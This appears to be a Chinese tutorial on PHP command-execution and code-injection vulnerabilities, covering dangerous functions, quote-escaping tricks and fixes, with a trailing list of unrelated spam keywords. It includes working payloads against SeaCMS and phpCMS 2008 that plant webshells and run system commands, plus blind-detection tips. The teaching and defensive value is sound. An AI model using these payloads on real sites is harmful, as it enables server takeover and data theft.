千家信息网

命令执行漏洞

发表于:2026-11-01 作者:千家信息网编辑
千家信息网最后更新 2026年11月01日,0x01:命令执行漏洞简介用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许使用者通过改变 $PATH 或程序执行环境的其他方面来执行
千家信息网最后更新 2026年11月01日命令执行漏洞


0x01:命令执行漏洞简介

用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许使用者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码


0x02:命令执行 VS 代码执行

1. 命令执行漏洞:

直接调用操作系统命令

2. 代码执行漏洞:

靠执行脚本代码调用操作系统命令



命令执行原理:

在操作系统中,"&、|、||"都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令

代码执行原理:

应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、assert、shell_exec、passthru、popen、proc_popen

escapeshellcmd、pcntl_exec等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行***,这就是命令执行漏洞。以上函数主要也在webshell中用的多,实际上在正常应用中差别不太大,用得最多的还是前三个。


0x03:命令执行漏洞利用条件

应用调用执行系统命令的函数

将用户输入作为系统命令的参数拼接到了命令行中

没有对用户输入进行过滤或过滤不严

0x04:命令执行漏洞分类

1.代码层过滤不严

商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函来调用:

system("/bin/program --arg$arg");

2.系统的漏洞造成命令注入

bash破壳漏洞(CVE-2014-6271)

3.调用的第三方组件存在代码执行漏洞

如WordPress中用来处理图片的ImageMagick组件

JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)

ThinkPHP命令执行

0x05:命令函数的利用

1. System:system函数可以用来执行一个外部的应用程序并将相应的执行结果输出,函数原型如下:

string system(string command, int&return_var)

其中,command是要执行的命令,return_var存放执行命令的执行后的状态值。

2. Exec:exec函数可以用来执行一个外部的应用程序

string exec (string command, array&output, int &return_var)

其中,command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var存放执行命令后的状态值。

3.Passthru:passthru函数可以用来执行一个UNIX系统命令并显示原始的输出,当UNIX系统命令的输出是二进制的数据,并且需要直接返回值给浏览器时,需要使用passthru函数来替代system与exec函数。Passthru函数原型如下:

void passthru (string command, int&return_var)

其中,command是要执行的命令,return_var存放执行命令后的状态值。


4. Shell_exec:执行shell命令并返回输出的字符串,函数原型如下:

string shell_exec (string command)

其中,command是要执行的命令。

0x06:命令常见可控位置

常见可控位置情况有下面几种:

system("$arg"); //可控点直接是待执行的程序

system("/bin/prog $arg"); //可控点是传入程序的整个参数

system("/bin/prog -p $arg"); //可控点是传入程序的某个参数的值(无引号包裹)

system("/bin/prog --p=\"$arg\"");//可控点是传入程序的某个参数的值(有双引号包裹)

system("/bin/prog --p='$arg'"); //可控点是传入程序的某个参数的值(有单引号包裹)

  sys=ctypes.cdll.LoadLibrary('/lib64/libc.so.6')     sys.system(cmd)

第一种情况

如果我们能直接控制$arg,那么就能执行执行任意命令了,没太多好说的。

第二种情况

我们能够控制的点是程序的整个参数,我们可以直接用&& || 或 | 等等,利用与、或、管道命令来执行其他命令(可以涉及到很多linux命令行技巧)。

还有一个偏门情况,当$arg被 escapeshellcmd处理之后,我们不能越出这个外部程序的范围,我们可以看看这个程序自身是否有"执行外部命令"的参数或功能,比如linux下的sendmail 命令自带读写文件功能,我们可以用来写webshell。

第三种情况

我们控制的点是一个参数,我们也同样可以利用与、或、管道来执行其他命令,情境与二无异。

第四种情况

这种情况压力大一点,有双引号包裹。如果引号没有被转义,我们可以先闭合引号,成为第三种情况后按照第三种情况来利用,如果引号被转义(addslashes),我们也不必着急。linux shell 环境下双引号中间的变量也是可以被解析的,我们可以在双引号内利用反引号执行任意命令 `id`

第五种情况

这是最难受的一种情况了,因为单引号内只是一个字符串,我们要先闭合单引号才可以执行命令。如:system("/bin/prog -p='aaa' | id")

危害自然不言而喻,执行命令可以读写文件、反弹shell、获得系统权限、内网***等。

在漏洞检测中,除了有回显的命令注入(比如执行dir 命令或者cat 读取系统文件);还可以使用盲打的方式,比如curl远程机器的某个目录(看access.log),或者通过dns解析的方式获取到漏洞机器发出的请求。



0x07:命令漏洞危害

继承Web服务程序的权限去执行系统命令或读 - 写文件

反弹shell

控制整个网站甚至控制服务器

进一步内网横向***


0x08:海洋cms实例

命令执行常用的函数,eval(),system(),proc_open()之类的,因此能执行php代码一般就是 eval() 函数

,

搜索一下这个页面有eval函数的地方

for($m=0;$m<$arlen;$m++){           $strIf=$iar[1][$m];           $strIf=$this->parseStrIf($strIf);           $strThen=$iar[2][$m];           $strThen=$this->parseSubIf($strThen);           if (strpos($strThen,$labelRule2)===false){                if(strpos($strThen,$labelRule3)>=0){                   $elsearray=explode($labelRule3,$strThen);                    $strThen1=$elsearray[0];                    $strElse1=$elsearray[1];                   @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");                    if ($ifFlag){$content=str_replace($iar[0][$m],$strThen1,$content);} else{$content=str_replace($iar[0][$m],$strElse1,$content);}                }else{               @eval("if(".$strIf.") { \$ifFlag=true;} else{\$ifFlag=false;}");                if ($ifFlag)$content=str_replace($iar[0][$m],$strThen,$content); else$content=str_replace($iar[0][$m],"",$content);}


可以在这里下个断点,把变量打印出来

就可以清晰的看到就是在这执行了我们的命令

http://192.168.0.37search.php?searchtype=5&tid=&area=eval($_POST[cmd])


菜刀连接

0x09:命令执行漏洞常见绕过

0x10:命令执行漏洞防御


1.尽量不要使用系统执行命令

2.在进入执行命令函数方法之前,变量一定要做好过滤,对敏感字符进行转义

3.在使用动态函数之前,确保使用的函数是指定的函数之一

4.对PHP语言来说,不能完全控制的危险函数最好不要使用

二、代码注入

0x11、代码注入漏洞成因

当应用在调用一些能将字符串转化成代码的函数(如php中的eval)时,没有考虑用户是否能控制这个字符串,将造成代码注入漏洞。

几种常用语言,都有将字符串转化成代码去执行的相关函数,如:

  • PHP:eval、assert

  • Javascript:eval

  • _Vbscript: Execute、Eval

  • Python:exec

  • Java:Java中没有类似php中eval 函数这种直接可以将字符串转化为代码执行的函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如:OGNL、SpEL、MVEL等,这些都能造成代码执行漏洞

应用有时候会考虑灵活性、简洁性,在代码中调用eval之类的函数去处理。如phpcms中很常用的string2array 函数:

function string2array($data) {if($data == '') return array();@eval("\$array = $data;");return $array;}

PHP中能造成代码注入的主要函数: eval 、 preg_replace + /e模式 、assert

用的一般就是前两者,CMS中很少用到assert的,至于一些偏门函数就更少了,用的情况仅限于留后门。 常见用法也有如下一些:

  eval("\$ret = $data;");   eval("\$ret = deal('$data');");   eval("\$ret = deal("$data");");   preg_replace('/(.*)/e', '$ret = "\\1";'); preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies", "\\1", $_GET['h']);?>

第一个就是刚才之前说phpcms 的,通常$data不会直接来自POST或GET变量(要不也太水了),但通过一些二次漏洞很可能能够造出代码执行(如SQL注入)。 第二个是将$data使用一个函数(deal)处理后再赋值给$ret。那么,传参的方式就很重要了。第二个用的是单引号传参,那么我们只能先闭合单引号,之后才能注入代码。如果应用全局做了addslashes或GPC=on的话,就不能够注入代码了。 第三个与第二个类似,但使用的是双引号传参。双引号在代码中有个很重要的特性,它能解析其中的函数,如我们传入${phpinfo()},phpinfo将会被执行,而得到的返回值作为参数传入deal 函数。这个时候,我们就不用考虑闭合引号的事了。 第四个是preg_replace函数的误用,这种用法出现的情况是最多的,也是因为preg_replace第二个参数中,包裹正则结果\\1的是双引号,通过第三个中的方式,也能执行任意代码。
注意,第五个示例中包裹\\1 的可以是双引号或者单引号,都可以造成命令执行,提交 h=[php]phpinfo()[/php] 。

php curly syntax: ${`ls`} 它将执行花括号内的代码,并将结果替换回去。

0x12、phpCMS 2008 命令执行漏洞

index.php?userid=abc&menu=xxx

我们访问时填的 userid 在数据库是查找不到的,这样无法从数据库返回结果中 extract 出 $menu 变量的定义,在但最开始 程序会把 $_GET 获取到的参数都 extract 出来,这样的话 menu 变量的值可以由我们控制,

由于 $menu 不为空,如果 menu=phpinfo(); exit(); 内部执行 string2array 函数,

eval("\$arr=$data"); 时会 执行命令,即 eval("\$arr=phpinfo();exit();");

进一步地,我们可以将一句话***写成 webshell 文件放到网站服务器目录下

一句话***

menu=file_put_contents('shell.php', ' ')

为了防止转义等导致命令执行不成功,可以用 ascii 码形式,即

index.php?userid=abc&menu=file_put_contents(CHR(115).CHR(104).CHR(101).CHR(108).CHR(108).CHR(42).CHR(112).CHR(104).CHR(112), ...);exit()

下次我们可以直接访问 shell.php?func=system&cmd=dir,执行php 代码 system(dir)。

类似会造成变量覆盖的函数还有:import_request_variables(), parse_str() 等

0x13、代码注入绕过

0x14、OOB外带数据


0x15、代码注入修复方案

  • 能使用json 保存数组、对象就使用json,不要将php对象保存成字符串,否则读取的时候需要使用eval。将字符串转化为对象的过程其实是将数据转化为代码的过程,这个过程很容易出现漏洞,像php的unserialize 导致代码执行、struts2的ognl 命令执行等漏洞都是这个过程导致的。

  • 对于必须使用eval 的情况,一定要保证用户不能轻易接触eval 的参数(或用正则严格判断输入的数据格式)。对于字符串,一定要使用单引号包裹可控代码,并再插入前进行addslashes,这样就无法闭合单引号,又因为不是双引号包裹,故不能执行 ${} 。
    evil('${phpinfo()}')、evil("phpinfo()") 等都不会执行, evil("${phpinfo()}")、evil(phpinfo())、evil(${@phpinfo()}) 都可以执行,因为双引号里面内容会被当作变量解析一次,函数前加 @ 表示执行函数时不报错。
    $data = addslashes($data);eval("\$data = deal('$data');");

  • 放弃使用preg_replace 的e修饰符,而换用 preg_replace_callback 替代。如果非要使用preg_replace的e模式的话,请保证第二个参数中,对于正则匹配出的对象,用单引号包裹(第4个示例)。

  • 确保register_globals = off, 若不能自定义php.ini,则应该在代码中控制;其次,熟悉可能造成变量覆盖的函数和方法,检查用户是否能控制变量的来源;最后,养成初始化变量的好习惯。

  • 能够往本地写入的函数都需要重点关注,如 file_put_contents(), fwrite(), fputs() 等。

  • 在自动化漏洞检测中可以 直接带入类似 ";print(md5(test));$a=" ,匹配返回页面是否有 md5 字符串。


命令 函数 代码 引号 漏洞 情况 参数 系统 程序 字符 变量 字符串 控制 应用 包裹 用户 数据 文件 就是 服务 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 深圳市人人互联网科技有限公司 涨乐互联网科技 喔噻互联网科技 北京禾田雨橡互联网科技 亿人帮互联网科技 互联网科技素材视频竖屏 科技互联网的估值 温州喔噻互联网科技有限公司 银川新华互联网科技职业技术培训学校图片 互联网科技创新服务 来此购互联网科技有限公司 宁夏科技产业互联网案例 昭通互联网科技选哪家 中国航天科技大学国际工业互联网 湖南一路畅行互联网科技 知域互联网科技有限公司大骗子 成都互联网科技公司工作好不好 易租星互联网科技有限公司 互联网科技创业计划的风险分析 瑞安市蟠桃会互联网科技有限公司 天津市摩尔互联网科技 互联网络科技有限公司 互联网金融科技平台 济南和联互联网科技有限公司 浙江互联网科技研学营 阿里互联网科技企业 用友工业互联网科技发展 电子商务与互联网科技的关系 城市宝互联网科技有限公司 半导体行业属于互联网高科技类吗
0